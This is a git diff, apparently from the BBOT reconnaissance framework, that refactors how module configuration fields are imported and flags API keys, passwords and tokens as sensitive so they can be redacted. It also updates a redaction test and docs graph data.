@@ -2,8 +2,7 @@ from contextlib import suppress from bbot.modules.output.base import BaseOutputModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class JSON(BaseOutputModule): diff --git a/bbot/modules/output/kafka.py b/bbot/modules/output/kafka.py index d0db260cbf..101a38f59f 100644 --- a/bbot/modules/output/kafka.py +++ b/bbot/modules/output/kafka.py @@ -2,8 +2,7 @@ from aiokafka import AIOKafkaProducer from bbot.modules.output.base import BaseOutputModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class Kafka(BaseOutputModule): diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index 158f315d76..13f3e09fed 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -4,8 +4,7 @@ from bbot.models.pydantic import Event, Scan, Target from bbot.modules.output.base import BaseOutputModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class Mongo(BaseOutputModule): @@ -21,10 +20,10 @@ class Mongo(BaseOutputModule): } class Config(BaseModuleConfig): - uri: str = Field("mongodb://localhost:27017", description="The URI of the MongoDB server") + uri: str = Field("mongodb://localhost:27017", description="The URI of the MongoDB server", sensitive=True) database: str = Field("bbot", description="The name of the database to use") - username: str = Field("", description="The username to use to connect to the database") - password: str = Field("", description="The password to use to connect to the database") + username: str = Field("", description="The username to use to connect to the database", sensitive=True) + password: str = Field("", description="The password to use to connect to the database", sensitive=True) collection_prefix: str = Field("", description="Prefix the name of each collection with this string") deps_pip = ["pymongo~=4.15"] diff --git a/bbot/modules/output/mysql.py b/bbot/modules/output/mysql.py index 8fd1510acb..5d0438aede 100644 --- a/bbot/modules/output/mysql.py +++ b/bbot/modules/output/mysql.py @@ -1,6 +1,5 @@ from bbot.modules.templates.sql import SQLTemplate -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class MySQL(SQLTemplate): @@ -12,8 +11,8 @@ class MySQL(SQLTemplate): } class Config(BaseModuleConfig): - username: str = Field("root", description="The username to connect to MySQL") - password: str = Field("bbotislife", description="The password to connect to MySQL") + username: str = Field("root", description="The username to connect to MySQL", sensitive=True) + password: str = Field("bbotislife", description="The password to connect to MySQL", sensitive=True) host: str = Field("localhost", description="The server running MySQL") port: int = Field(3306, description="The port to connect to MySQL") database: str = Field("bbot", description="The database name to connect to") diff --git a/bbot/modules/output/nats.py b/bbot/modules/output/nats.py index 036a9a5750..b699f20d80 100644 --- a/bbot/modules/output/nats.py +++ b/bbot/modules/output/nats.py @@ -1,8 +1,7 @@ import json import nats from bbot.modules.output.base import BaseOutputModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class NATS(BaseOutputModule): diff --git a/bbot/modules/output/neo4j.py b/bbot/modules/output/neo4j.py index 8553bed357..1429323793 100644 --- a/bbot/modules/output/neo4j.py +++ b/bbot/modules/output/neo4j.py @@ -4,8 +4,7 @@ from neo4j import AsyncGraphDatabase from bbot.modules.output.base import BaseOutputModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field # silence annoying neo4j logger @@ -38,8 +37,8 @@ class neo4j(BaseOutputModule): class Config(BaseModuleConfig): uri: str = Field("bolt://localhost:7687", description="Neo4j server + port") - username: str = Field("neo4j", description="Neo4j username") - password: str = Field("bbotislife", description="Neo4j password") + username: str = Field("neo4j", description="Neo4j username", sensitive=True) + password: str = Field("bbotislife", description="Neo4j password", sensitive=True) deps_pip = ["neo4j"] _batch_size = 500 diff --git a/bbot/modules/output/postgres.py b/bbot/modules/output/postgres.py index ffbbe72afe..93ace12111 100644 --- a/bbot/modules/output/postgres.py +++ b/bbot/modules/output/postgres.py @@ -1,6 +1,5 @@ from bbot.modules.templates.sql import SQLTemplate -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class Postgres(SQLTemplate): @@ -12,8 +11,8 @@ class Postgres(SQLTemplate): } class Config(BaseModuleConfig): - username: str = Field("postgres", description="The username to connect to Postgres") - password: str = Field("bbotislife", description="The password to connect to Postgres") + username: str = Field("postgres", description="The username to connect to Postgres", sensitive=True) + password: str = Field("bbotislife", description="The password to connect to Postgres", sensitive=True) host: str = Field("localhost", description="The server running Postgres") port: int = Field(5432, description="The port to connect to Postgres") database: str = Field("bbot", description="The database name to connect to") diff --git a/bbot/modules/output/rabbitmq.py b/bbot/modules/output/rabbitmq.py index c5bff3a78c..fdb2aef4d0 100644 --- a/bbot/modules/output/rabbitmq.py +++ b/bbot/modules/output/rabbitmq.py @@ -2,8 +2,7 @@ import aio_pika from bbot.modules.output.base import BaseOutputModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class RabbitMQ(BaseOutputModule): @@ -15,7 +14,7 @@ class RabbitMQ(BaseOutputModule): } class Config(BaseModuleConfig): - url: str = Field("amqp://guest:guest@localhost/", description="The RabbitMQ connection URL") + url: str = Field("amqp://guest:guest@localhost/", description="The RabbitMQ connection URL", sensitive=True) queue: str = Field("bbot_events", description="The RabbitMQ queue to publish events to") deps_pip = ["aio_pika~=9.5.0"] diff --git a/bbot/modules/output/slack.py b/bbot/modules/output/slack.py index b1109ac99d..3b80daf9e1 100644 --- a/bbot/modules/output/slack.py +++ b/bbot/modules/output/slack.py @@ -1,8 +1,7 @@ import yaml from bbot.modules.templates.webhook import WebhookOutputModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class Slack(WebhookOutputModule): @@ -14,7 +13,7 @@ class Slack(WebhookOutputModule): } class Config(BaseModuleConfig): - webhook_url: str = Field("", description="Discord webhook URL") + webhook_url: str = Field("", description="Slack webhook URL", sensitive=True) event_types: list[str] = Field(["FINDING"], description="Types of events to send") min_severity: str = Field("LOW", description="Only allow FINDING events of this severity or higher") retries: int = Field(10, description="Number of times to retry sending the message before skipping the event") diff --git a/bbot/modules/output/splunk.py b/bbot/modules/output/splunk.py index c0d45b89e6..1413db55e2 100644 --- a/bbot/modules/output/splunk.py +++ b/bbot/modules/output/splunk.py @@ -1,7 +1,6 @@ from bbot.errors import WebError from bbot.modules.output.base import BaseOutputModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class Splunk(BaseOutputModule): @@ -14,7 +13,7 @@ class Splunk(BaseOutputModule): class Config(BaseModuleConfig): url: str = Field("", description="Web URL") - hectoken: str = Field("", description="HEC Token") + hectoken: str = Field("", description="HEC Token", sensitive=True) index: str = Field("", description="Index to send data to") source: str = Field("", description="Source path to be added to the metadata") timeout: int = Field(10, description="HTTP timeout") diff --git a/bbot/modules/output/sqlite.py b/bbot/modules/output/sqlite.py index e306664354..d1f43d063c 100644 --- a/bbot/modules/output/sqlite.py +++ b/bbot/modules/output/sqlite.py @@ -1,8 +1,7 @@ from pathlib import Path from bbot.modules.templates.sql import SQLTemplate -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class SQLite(SQLTemplate): diff --git a/bbot/modules/output/subdomains.py b/bbot/modules/output/subdomains.py index eebda26720..64db0f37f1 100644 --- a/bbot/modules/output/subdomains.py +++ b/bbot/modules/output/subdomains.py @@ -1,7 +1,6 @@ from bbot.modules.output.txt import TXT from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class Subdomains(TXT): diff --git a/bbot/modules/output/teams.py b/bbot/modules/output/teams.py index 31db1ceef9..40d72df668 100644 --- a/bbot/modules/output/teams.py +++ b/bbot/modules/output/teams.py @@ -1,6 +1,5 @@ from bbot.modules.templates.webhook import WebhookOutputModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class Teams(WebhookOutputModule): @@ -12,7 +11,7 @@ class Teams(WebhookOutputModule): } class Config(BaseModuleConfig): - webhook_url: str = Field("", description="Teams webhook URL") + webhook_url: str = Field("", description="Teams webhook URL", sensitive=True) event_types: list[str] = Field(["FINDING"], description="Types of events to send") min_severity: str = Field("LOW", description="Only allow FINDING events of this severity or higher") retries: int = Field(10, description="Number of times to retry sending the message before skipping the event") diff --git a/bbot/modules/output/txt.py b/bbot/modules/output/txt.py index b4c123168f..02adefc895 100644 --- a/bbot/modules/output/txt.py +++ b/bbot/modules/output/txt.py @@ -1,8 +1,7 @@ from contextlib import suppress from bbot.modules.output.base import BaseOutputModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class TXT(BaseOutputModule): diff --git a/bbot/modules/output/web_parameters.py b/bbot/modules/output/web_parameters.py index 0e4a6b625c..041f0ae29d 100644 --- a/bbot/modules/output/web_parameters.py +++ b/bbot/modules/output/web_parameters.py @@ -2,8 +2,7 @@ from collections import defaultdict from bbot.modules.output.base import BaseOutputModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class Web_parameters(BaseOutputModule): diff --git a/bbot/modules/output/web_report.py b/bbot/modules/output/web_report.py index d6dcfbbd95..fba2c98c0a 100644 --- a/bbot/modules/output/web_report.py +++ b/bbot/modules/output/web_report.py @@ -1,8 +1,7 @@ from bbot.modules.output.base import BaseOutputModule import markdown import html -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class web_report(BaseOutputModule): diff --git a/bbot/modules/output/websocket.py b/bbot/modules/output/websocket.py index 1ca60a36ca..6bd2908080 100644 --- a/bbot/modules/output/websocket.py +++ b/bbot/modules/output/websocket.py @@ -4,8 +4,7 @@ import websockets from bbot.modules.output.base import BaseOutputModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class Websocket(BaseOutputModule): @@ -14,7 +13,7 @@ class Websocket(BaseOutputModule): class Config(BaseModuleConfig): url: str = Field("", description="Web URL") - token: str = Field("", description="Authorization Bearer token") + token: str = Field("", description="Authorization Bearer token", sensitive=True) preserve_graph: bool = Field( True, description="Preserve full chains of events in the graph (prevents orphans)" ) diff --git a/bbot/modules/output/zeromq.py b/bbot/modules/output/zeromq.py index b481fa1e7c..17c7bc4da6 100644 --- a/bbot/modules/output/zeromq.py +++ b/bbot/modules/output/zeromq.py @@ -2,8 +2,7 @@ import json from bbot.modules.output.base import BaseOutputModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class ZeroMQ(BaseOutputModule): diff --git a/bbot/modules/paramminer_cookies.py b/bbot/modules/paramminer_cookies.py index acc3d55085..03fa3df287 100644 --- a/bbot/modules/paramminer_cookies.py +++ b/bbot/modules/paramminer_cookies.py @@ -1,6 +1,5 @@ from .paramminer_headers import paramminer_headers -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class paramminer_cookies(paramminer_headers): diff --git a/bbot/modules/paramminer_getparams.py b/bbot/modules/paramminer_getparams.py index 22261683c9..cdee9493a1 100644 --- a/bbot/modules/paramminer_getparams.py +++ b/bbot/modules/paramminer_getparams.py @@ -2,10 +2,9 @@ import string from urllib.parse import urlparse -from pydantic import Field from .paramminer_headers import paramminer_headers, _mutate_case -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class paramminer_getparams(paramminer_headers): diff --git a/bbot/modules/paramminer_headers.py b/bbot/modules/paramminer_headers.py index 9da2e49392..95cbfc6fa5 100644 --- a/bbot/modules/paramminer_headers.py +++ b/bbot/modules/paramminer_headers.py @@ -2,8 +2,7 @@ from bbot.errors import HttpCompareError from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field _case_split = re.compile(r"[-_]+") diff --git a/bbot/modules/passivetotal.py b/bbot/modules/passivetotal.py index 8758693adb..278add25d2 100644 --- a/bbot/modules/passivetotal.py +++ b/bbot/modules/passivetotal.py @@ -1,6 +1,5 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class passivetotal(subdomain_enum_apikey): @@ -11,11 +10,12 @@ class passivetotal(subdomain_enum_apikey): "description": "Query the PassiveTotal API for subdomains", "created_date": "2022-08-08", "author": "@TheTechromancer", - "auth_required": True, } class Config(BaseModuleConfig): - api_key: str = Field("", description="PassiveTotal API Key in the format of 'username:api_key'") + api_key: str = Field( + "", description="PassiveTotal API Key in the format of 'username:api_key'", sensitive=True, mandatory=True + ) base_url = "https://api.passivetotal.org/v2" diff --git a/bbot/modules/pgp.py b/bbot/modules/pgp.py index 61f596c478..5dd3772c0b 100644 --- a/bbot/modules/pgp.py +++ b/bbot/modules/pgp.py @@ -1,6 +1,5 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class pgp(subdomain_enum): diff --git a/bbot/modules/portfilter.py b/bbot/modules/portfilter.py index 25d943c595..700f87a9cf 100644 --- a/bbot/modules/portfilter.py +++ b/bbot/modules/portfilter.py @@ -1,6 +1,5 @@ from bbot.modules.base import BaseInterceptModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class portfilter(BaseInterceptModule): diff --git a/bbot/modules/portscan.py b/bbot/modules/portscan.py index d9749e854a..be4b3d8db4 100644 --- a/bbot/modules/portscan.py +++ b/bbot/modules/portscan.py @@ -4,8 +4,7 @@ from radixtarget import RadixTarget, host_size_key from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field # TODO: this module is getting big. It should probably be two modules: one for ping and one for SYN. diff --git a/bbot/modules/postman.py b/bbot/modules/postman.py index a182894514..a7a2bd3d09 100644 --- a/bbot/modules/postman.py +++ b/bbot/modules/postman.py @@ -1,6 +1,5 @@ from bbot.modules.templates.postman import postman -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class postman(postman): @@ -14,7 +13,7 @@ class postman(postman): } class Config(BaseModuleConfig): - api_key: str = Field("", description="Postman API Key") + api_key: str = Field("", description="Postman API Key", sensitive=True, mandatory=True) reject_wildcards = False diff --git a/bbot/modules/postman_download.py b/bbot/modules/postman_download.py index 7f063303ec..91c1e0f88c 100644 --- a/bbot/modules/postman_download.py +++ b/bbot/modules/postman_download.py @@ -2,8 +2,7 @@ import json from pathlib import Path from bbot.modules.templates.postman import postman -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class postman_download(postman): @@ -21,7 +20,7 @@ class Config(BaseModuleConfig): "", description="Folder to download postman workspaces to. If not specified, downloaded workspaces will be deleted when the scan completes, to minimize disk usage.", ) - api_key: str = Field("", description="Postman API Key") + api_key: str = Field("", description="Postman API Key", sensitive=True, mandatory=True) scope_distance_modifier = 2 diff --git a/bbot/modules/robots.py b/bbot/modules/robots.py index df83d6cbb8..62199e8042 100644 --- a/bbot/modules/robots.py +++ b/bbot/modules/robots.py @@ -1,6 +1,5 @@ from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class robots(BaseModule): diff --git a/bbot/modules/securitytrails.py b/bbot/modules/securitytrails.py index 092e478972..3b5f4e97ab 100644 --- a/bbot/modules/securitytrails.py +++ b/bbot/modules/securitytrails.py @@ -1,6 +1,5 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class securitytrails(subdomain_enum_apikey): @@ -11,11 +10,10 @@ class securitytrails(subdomain_enum_apikey): "description": "Query the SecurityTrails API for subdomains", "created_date": "2022-07-03", "author": "@TheTechromancer", - "auth_required": True, } class Config(BaseModuleConfig): - api_key: str = Field("", description="SecurityTrails API key") + api_key: str = Field("", description="SecurityTrails API key", sensitive=True, mandatory=True) base_url = "https://api.securitytrails.com/v1" ping_url = f"{base_url}/ping?apikey={{api_key}}" diff --git a/bbot/modules/securitytxt.py b/bbot/modules/securitytxt.py index e32c3f92b2..d6b0383007 100644 --- a/bbot/modules/securitytxt.py +++ b/bbot/modules/securitytxt.py @@ -50,8 +50,7 @@ import re from bbot.core.helpers.regexes import email_regex, url_regexes -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field _securitytxt_regex = r"^(?P\w+): *(?P.*)$" securitytxt_regex = re.compile(_securitytxt_regex, re.I | re.M) diff --git a/bbot/modules/shodan_dns.py b/bbot/modules/shodan_dns.py index 7a023b47ef..a81d184655 100644 --- a/bbot/modules/shodan_dns.py +++ b/bbot/modules/shodan_dns.py @@ -1,21 +1,15 @@ from bbot.modules.templates.shodan import shodan -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class shodan_dns(shodan): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] flags = ["safe", "subdomain-enum", "passive"] - meta = { - "description": "Query Shodan for subdomains", - "created_date": "2022-07-03", - "author": "@TheTechromancer", - "auth_required": True, - } + meta = {"description": "Query Shodan for subdomains", "created_date": "2022-07-03", "author": "@TheTechromancer"} class Config(BaseModuleConfig): - api_key: str = Field("", description="Shodan API key") + api_key: str = Field("", description="Shodan API key", sensitive=True, mandatory=True) base_url = "https://api.shodan.io" diff --git a/bbot/modules/shodan_enterprise.py b/bbot/modules/shodan_enterprise.py index 46f9fb9511..2177c410e1 100644 --- a/bbot/modules/shodan_enterprise.py +++ b/bbot/modules/shodan_enterprise.py @@ -1,6 +1,5 @@ from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class shodan_enterprise(BaseModule): @@ -11,11 +10,10 @@ class shodan_enterprise(BaseModule): "created_date": "2026-01-27", "author": "@Control-Punk-Delete", "description": "Shodan Enterprise API integration module.", - "auth_required": True, } class Config(BaseModuleConfig): - api_key: str = Field("", description="Shodan API Key") + api_key: str = Field("", description="Shodan API Key", sensitive=True, mandatory=True) in_scope_only: bool = Field( True, description="Only query in-scope IPs. If False, will query up to distance 1." ) diff --git a/bbot/modules/shodan_idb.py b/bbot/modules/shodan_idb.py index b2c1208b4f..853e476261 100644 --- a/bbot/modules/shodan_idb.py +++ b/bbot/modules/shodan_idb.py @@ -1,7 +1,6 @@ from bbot.modules.base import BaseModule import time -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field from typing import Optional diff --git a/bbot/modules/sslcert.py b/bbot/modules/sslcert.py index 62911d1b3f..bb2d79794a 100644 --- a/bbot/modules/sslcert.py +++ b/bbot/modules/sslcert.py @@ -6,8 +6,7 @@ from bbot.modules.base import BaseModule from bbot.core.helpers.async_helpers import NamedLock from bbot.core.helpers.web.ssl_context import ssl_context_noverify -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class sslcert(BaseModule): diff --git a/bbot/modules/subdomainradar.py b/bbot/modules/subdomainradar.py index 8f7b542661..db81a95d9b 100644 --- a/bbot/modules/subdomainradar.py +++ b/bbot/modules/subdomainradar.py @@ -15,11 +15,10 @@ class SubdomainRadar(subdomain_enum_apikey): "description": "Query the Subdomain API for subdomains", "created_date": "2022-07-08", "author": "@TheTechromancer", - "auth_required": True, } class Config(BaseModuleConfig): - api_key: str = Field("", description="SubDomainRadar.io API key") + api_key: str = Field("", description="SubDomainRadar.io API key", sensitive=True, mandatory=True) group: Literal["fast", "medium", "deep"] = Field( "fast", description="The enumeration group to use. Choose from fast, medium, deep" ) diff --git a/bbot/modules/telerik.py b/bbot/modules/telerik.py index 62ae34404b..8b62be7735 100644 --- a/bbot/modules/telerik.py +++ b/bbot/modules/telerik.py @@ -1,8 +1,7 @@ from sys import executable from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class telerik(BaseModule): diff --git a/bbot/modules/templates/postman.py b/bbot/modules/templates/postman.py index 490c6e62eb..f5c2fdc811 100644 --- a/bbot/modules/templates/postman.py +++ b/bbot/modules/templates/postman.py @@ -19,7 +19,6 @@ class postman(BaseModule): "Origin": "https://www.postman.com", "Referer": "https://www.postman.com/search?q=&scope=public&type=all", } - auth_required = True async def setup(self): await super().setup() diff --git a/bbot/modules/templates/subdomain_enum.py b/bbot/modules/templates/subdomain_enum.py index 3bdcdff07b..5383000e18 100644 --- a/bbot/modules/templates/subdomain_enum.py +++ b/bbot/modules/templates/subdomain_enum.py @@ -199,7 +199,7 @@ class subdomain_enum_apikey(subdomain_enum): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] flags = ["subdomain-enum", "passive"] - meta = {"description": "Query API for subdomains", "auth_required": True} + meta = {"description": "Query API for subdomains"} options = {"api_key": ""} options_desc = {"api_key": "API key"} diff --git a/bbot/modules/trajan.py b/bbot/modules/trajan.py index c7cf634f65..9191e9e536 100644 --- a/bbot/modules/trajan.py +++ b/bbot/modules/trajan.py @@ -2,8 +2,7 @@ from urllib.parse import urlparse from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class trajan(BaseModule): @@ -19,13 +18,15 @@ class trajan(BaseModule): # Configuration options class Config(BaseModuleConfig): version: str = Field("1.0.0", description="Trajan version to download and use") - github_token: str = Field("", description="GitHub API token for rate-limiting and private repo access") - gitlab_token: str = Field("", description="GitLab API token for private repo access") - ado_token: str = Field("", description="Azure DevOps Personal Access Token (PAT)") - jfrog_token: str = Field("", description="JFrog API token") + github_token: str = Field( + "", description="GitHub API token for rate-limiting and private repo access", sensitive=True + ) + gitlab_token: str = Field("", description="GitLab API token for private repo access", sensitive=True) + ado_token: str = Field("", description="Azure DevOps Personal Access Token (PAT)", sensitive=True) + jfrog_token: str = Field("", description="JFrog API token", sensitive=True) jenkins_username: str = Field("", description="Jenkins username for basic auth") - jenkins_password: str = Field("", description="Jenkins password for basic auth") - jenkins_token: str = Field("", description="Jenkins API token") + jenkins_password: str = Field("", description="Jenkins password for basic auth", sensitive=True) + jenkins_token: str = Field("", description="Jenkins API token", sensitive=True) deps_ansible = [ { diff --git a/bbot/modules/trickest.py b/bbot/modules/trickest.py index 12f835ab24..1746b86e37 100644 --- a/bbot/modules/trickest.py +++ b/bbot/modules/trickest.py @@ -1,21 +1,15 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class Trickest(subdomain_enum_apikey): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] flags = ["safe", "affiliates", "subdomain-enum", "passive"] - meta = { - "description": "Query Trickest's API for subdomains", - "author": "@amiremami", - "created_date": "2024-07-27", - "auth_required": True, - } + meta = {"description": "Query Trickest's API for subdomains", "author": "@amiremami", "created_date": "2024-07-27"} class Config(BaseModuleConfig): - api_key: str = Field("", description="Trickest API key") + api_key: str = Field("", description="Trickest API key", sensitive=True, mandatory=True) base_url = "https://api.trickest.io/solutions/v1/public/solution/a7cba1f1-df07-4a5c-876a-953f178996be" ping_url = f"{base_url}/dataset" diff --git a/bbot/modules/trufflehog.py b/bbot/modules/trufflehog.py index 99a05149f8..2002cd7adf 100644 --- a/bbot/modules/trufflehog.py +++ b/bbot/modules/trufflehog.py @@ -1,8 +1,7 @@ import json from functools import partial from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class trufflehog(BaseModule): diff --git a/bbot/modules/url_manipulation.py b/bbot/modules/url_manipulation.py index 6f56c4e5e7..58b599e0f9 100644 --- a/bbot/modules/url_manipulation.py +++ b/bbot/modules/url_manipulation.py @@ -1,7 +1,6 @@ from bbot.errors import HttpCompareError from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class url_manipulation(BaseModule): diff --git a/bbot/modules/urlscan.py b/bbot/modules/urlscan.py index adaf72af73..b49870e7f6 100644 --- a/bbot/modules/urlscan.py +++ b/bbot/modules/urlscan.py @@ -1,6 +1,5 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class urlscan(subdomain_enum): diff --git a/bbot/modules/virustotal.py b/bbot/modules/virustotal.py index ac69dea3d1..f8837e2f20 100644 --- a/bbot/modules/virustotal.py +++ b/bbot/modules/virustotal.py @@ -1,6 +1,5 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class virustotal(subdomain_enum_apikey): @@ -11,11 +10,10 @@ class virustotal(subdomain_enum_apikey): "description": "Query VirusTotal's API for subdomains", "created_date": "2022-08-25", "author": "@TheTechromancer", - "auth_required": True, } class Config(BaseModuleConfig): - api_key: str = Field("", description="VirusTotal API Key") + api_key: str = Field("", description="VirusTotal API Key", sensitive=True, mandatory=True) base_url = "https://www.virustotal.com/api/v3" api_page_iter_kwargs = {"json": False, "next_key": lambda r: r.json().get("links", {}).get("next", "")} diff --git a/bbot/modules/wafw00f.py b/bbot/modules/wafw00f.py index 499fae3c0c..051e6ff3e3 100644 --- a/bbot/modules/wafw00f.py +++ b/bbot/modules/wafw00f.py @@ -3,8 +3,7 @@ # disable wafw00f logging import logging -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field wafw00f_logger = logging.getLogger("wafw00f") wafw00f_logger.setLevel(logging.CRITICAL + 100) diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index 203ba7edc2..09281c000d 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -1,8 +1,7 @@ from datetime import datetime from bbot.modules.templates.subdomain_enum import subdomain_enum -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class wayback(subdomain_enum): diff --git a/bbot/modules/wpscan.py b/bbot/modules/wpscan.py index e6953bd08a..5ae1fdc621 100644 --- a/bbot/modules/wpscan.py +++ b/bbot/modules/wpscan.py @@ -1,7 +1,6 @@ import json from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class wpscan(BaseModule): @@ -15,7 +14,7 @@ class wpscan(BaseModule): } class Config(BaseModuleConfig): - api_key: str = Field("", description="WPScan API Key") + api_key: str = Field("", description="WPScan API Key", sensitive=True) enumerate: str = Field( "vp,vt,cb,dbe", description="Enumeration Process see wpscan help documentation (default: vp,vt,cb,dbe)" ) diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index 571f869115..39873af4f9 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -256,7 +256,7 @@ async def test_preset_scope(clean_default_config): name="with_target_scope", seeds=["evilcorp.org"], blacklist=["evilcorp.co.uk:443", "bob@evilcorp.co.uk"], - config={"modules": {"secretsdb": {"api_key": "deadbeef", "otherthing": "asdf"}}}, + config={"modules": {"github_workflows": {"api_key": "deadbeef", "output_folder": "asdf"}}}, ) preset_domain_with_seed_baked = preset_domain_with_seed.bake() @@ -271,16 +271,16 @@ async def test_preset_scope(clean_default_config): scope_dict = preset_with_target_scope_baked.to_dict(include_target=True) assert set(scope_dict["target"]) == {"1.2.3.0/24", "http://evilcorp.net/"} assert set(scope_dict["blacklist"]) == {"bob@evilcorp.co.uk", "evilcorp.co.uk:443"} - # secretsdb config should be preserved (other module config may also be present) - assert scope_dict["config"]["modules"]["secretsdb"] == { + # github_workflows config should be preserved (other module config may also be present) + assert scope_dict["config"]["modules"]["github_workflows"] == { "api_key": "deadbeef", - "otherthing": "asdf", + "output_folder": "asdf", } redacted_dict = preset_with_target_scope_baked.to_dict(include_target=True, redact_secrets=True) assert set(redacted_dict["target"]) == {"1.2.3.0/24", "http://evilcorp.net/"} assert set(redacted_dict["blacklist"]) == {"bob@evilcorp.co.uk", "evilcorp.co.uk:443"} - assert redacted_dict["config"]["modules"]["secretsdb"] == {"otherthing": "asdf"} + assert redacted_dict["config"]["modules"]["github_workflows"] == {"output_folder": "asdf"} assert preset_domain_with_seed_baked.in_scope("www.evilcorp.com") assert not preset_domain_with_seed_baked.in_scope("www.evilcorp.de") diff --git a/docs/data/chord_graph/entities.json b/docs/data/chord_graph/entities.json index 7a0426345c..6d0ca3236f 100644 --- a/docs/data/chord_graph/entities.json +++ b/docs/data/chord_graph/entities.json @@ -592,6 +592,7 @@ 71, 74, 75, + 78, 83, 90, 97, @@ -1259,7 +1260,8 @@ 16 ], "produces": [ - 41 + 41, + 20 ] }, { diff --git a/docs/data/chord_graph/rels.json b/docs/data/chord_graph/rels.json index f20fef2f11..71c04b3bfc 100644 --- 